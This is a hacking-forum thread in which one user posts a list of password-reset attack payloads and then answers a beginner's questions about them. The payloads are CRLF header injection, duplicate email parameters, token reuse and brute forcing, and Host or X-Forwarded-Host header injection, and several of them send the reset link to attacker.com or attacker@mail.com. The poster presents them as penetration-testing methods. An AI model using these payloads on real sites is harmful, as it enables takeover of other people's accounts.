

# Forum: [Hack Forums](#)

Thread: [Password reset vulnerabilities](#)

**curl** - October 4, 2023, 8:08 pm

## 1. Try CRLF injection

Quote:Email = 'victim@mail.com %0d%0acc: attacker@mail.com'  
Quote:/resetpassword? %0d%0aHost:attacker.com

## 2. Adding your emails

Quote:email=victim@mail.com&email=attacker@mail.com  
Quote:{"email": ['victim@mail.com', 'attacker@mail.com']}  
Quote:email=victim@mail.com, attacker@mail.com  
Quote:email=victim@mail.com%20attacker@mail.com

## 3. Token Issue

Check if the token is reflected back in the response

Use another email's token on your victim's reset link

reset/email=victim@mail.com?token=\*attacker's token

Check for brute forcing

Try used tokens

Try giving massive tokens

Remove the token and check

## 4. Change Headers

Quote:Add 'X-Forwarded-Host: attacker.com' (Host Header Injection)

Quote:Host: Attacker.com

**CentryAgo** - October 5, 2023, 1:13 am

(Oct 4, 2023 08:08 PM)0xNu11 Wrote: [\[CITE\]](#) 1. Try CRLF injection

## 2. Adding you emails

## 3. Token Issue

Check if the token is reflected back in the response

Use another email's token on your victim's reset link

reset/email=victim@mail.com?token=\*attacker's token

Check for brute forcing

Try used tokens

Try giving massive tokens

Remove the token and check

## 4. Change Headers

sounds gay boi

**SIM-4574945** - October 5, 2023, 6:25 am

How is this method used? Also, which providers can it be used on besides Mail.com?

**curl** - October 5, 2023, 3:21 pm

(Oct 5, 2023 06:25 AM)SIM-4574945 Wrote: [\[CITE\]](#) How is this method used? Also, which providers can it be used on besides Mail.com?

The domain I put is just an example, you would use your own domain/email for 'attacker' and you would use the victims information for the 'victims'

These are penetration testing methods for those who are already intermediate enough to know which endpoints to target and how to intercept/modify/repeat requests.

**SIM-4574945** - October 6, 2023, 2:53 am

(Oct 5, 2023 03:21 PM)0xNu11 Wrote: [\[CITE\]](#) The domain I put is just an example, you would use your own domain/email for 'attacker' and you would use the victims information for the 'victims'

These are penetration testing methods for those who are already intermediate enough to know which endpoints to target and how to intercept/modify/repeat requests.

OK, but I assume that this vulnerability is not present in popular e-mail providers such as Gmail, Yahoo and the like. Is that correct?

**curl** - October 7, 2023, 10:03 am

(Oct 6, 2023 02:53 AM)SIM-4574945 Wrote: [\[CITE\]](#) OK, but I assume that this vulnerability is not present in popular e-mail providers such as Gmail, Yahoo and the like. Is that correct?

the vulnerability has nothing to do with mail providers lol it has everything to do with the security foundation of whatever website you are pentesting.

**SIM-4574945** - October 7, 2023, 11:27 am

(Oct 7, 2023 10:03 AM)0xNu11 Wrote: [\[CITE\]](#) the vulnerability has nothing to do with mail providers lol it has everything to do with the security foundation of whatever website you are pentesting.

OK, thanks for the clarification. I am a neophyte, so I don't particularly know about pentesting. I have a very rough knowledge on the subject.

**curl** - October 7, 2023, 7:21 pm

(Oct 7, 2023 11:27 AM)SIM-4574945 Wrote: [\[CITE\]](#) OK, thanks for the clarification. I am a neophyte, so I don't particularly know about pen-testing. I have a very rough knowledge on the subject. It might be better to not skip the beginners tutorials on the subject, I recommend starting at the absolute bottom material before jumping to more intermediate methods. Thus you'd have a better understanding of when to apply these methods or if it is even worth it.

Tryhackme website, Hackthebox website, Nahamsec on youtube , are all good resources to use.

**SIM-4574945** - October 8, 2023, 3:44 pm

(Oct 7, 2023 07:21 PM)0xNu11 Wrote: [\[CITE\]](#) It might be better to not skip the beginners tutorials on the subject, I recommend starting at the absolute bottom material before jumping to more intermediate methods. Thus you'd have a better understanding of when to apply these methods or if it is even worth it.

Tryhackme website, Hackthebox website, Nahamsec on youtube , are all good resources to use. I thank you for your suggestions. You are very kind. May I ask you if previous knowledge of programming languages, such as PHP, HTML and others, is required to do these methods?

**curl** - October 8, 2023, 5:27 pm

(Oct 8, 2023 03:44 PM)SIM-4574945 Wrote: [\[CITE\]](#) I thank you for your suggestions. You are very kind. May I ask you if previous knowledge of programming languages, such as PHP, HTML and others, is required to do these methods?

I think it is very helpful to understand the language in which you are trying to find flaws in.